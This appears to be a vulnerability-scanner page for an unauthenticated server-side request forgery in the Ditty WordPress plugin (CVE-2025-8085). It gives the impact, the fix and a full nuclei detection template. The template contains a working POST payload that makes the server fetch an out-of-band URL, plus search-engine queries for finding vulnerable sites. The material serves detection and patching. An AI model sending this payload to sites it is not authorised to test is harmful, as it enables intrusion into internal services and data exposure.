Ditty < 3.1.58 - Server-Side Request Forgery

highseverity

20.5%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

The plugin lacks authorization and authentication for requests to its displayItems endpoint, allowing unauthenticated visitors to make requests to arbitrary URLs. v3.1.57 attempted to fix the issue with a nonce check, however any authenticated users, such as subscriber can retrieve it.

Impact

Unauthenticated attackers can force the server to make requests to arbitrary URLs through the displayItems endpoint, potentially accessing internal services and exposing sensitive data.

Fix

Upgrade Ditty WordPress plugin to version 3.1.58 or later that implements proper authorization checks on the displayItems endpoint.

How to confirm it

Send: POST /wp-json/dittyeditor/v1/displayItems
Positive when: contains(interactsh_protocol, "http") and contains_all(body, "{{marker_string}}", "{{marker_int}}") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-8085 -u <target>

The full check

id: CVE-2025-8085

info:
  name: Ditty < 3.1.58 - Server-Side Request Forgery
  author: s4e-io
  severity: high
  description: |
    The plugin lacks authorization and authentication for requests to its displayItems endpoint, allowing unauthenticated visitors to make requests to arbitrary URLs. v3.1.57 attempted to fix the issue with a nonce check, however any authenticated users, such as subscriber can retrieve it.
  impact: |
    Unauthenticated attackers can force the server to make requests to arbitrary URLs through the displayItems endpoint, potentially accessing internal services and exposing sensitive data.
  remediation: |
    Upgrade Ditty WordPress plugin to version 3.1.58 or later that implements proper authorization checks on the displayItems endpoint.
  reference:
    - https://wpscan.com/vulnerability/f42c37bb-1ae0-49ab-bd81-7864dff0fcff/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8085
    - https://research.cleantalk.org/cve-2025-8085/
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"/wp-content/plugins/ditty-news-ticker/"
    fofa-query: body="/wp-content/plugins/ditty-news-ticker/"
    publicwww-query: "/wp-content/plugins/ditty-news-ticker/"
  tags: cve,cve2025,ditty-news-ticker,wordpress,wp-plugin,wpscan,wp,metaphorcreations,vuln,vkev

variables:
  marker_string: "{{rand_text_alpha(5)}}"
  marker_int: "{{rand_int(1000, 9999)}}"

http:
  - raw:
      - |
        POST /wp-json/dittyeditor/v1/displayItems HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "apiData": {
            "layouts": [
              {
                "id": "{{marker_string}}",
                "html": "{image default_src=\"http://{{interactsh-url}}\"}",
                "css": "{{marker_string}}"
              }
            ],
            "items": [
              {
                "item_id": "{{marker_int}}",
                "item_type": "default",
                "item_value": { "content": "{{marker_string}}" },
                "layout_value": { "default": "{{marker_string}}" }
              }
            ]
          }
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains_all(body, "{{marker_string}}", "{{marker_int}}")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from